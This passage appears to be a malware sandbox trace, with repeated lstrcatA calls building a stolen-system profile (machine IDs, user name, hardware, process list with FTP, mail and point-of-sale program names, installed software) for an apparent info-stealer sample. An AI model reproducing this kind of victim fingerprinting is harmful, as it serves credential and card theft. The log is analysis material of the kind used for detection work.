[880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508", lpString2=" [" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 ["
[0054.953] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [", lpString2="14.25.28508" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508"
[0054.953] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508", lpString2="]" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe 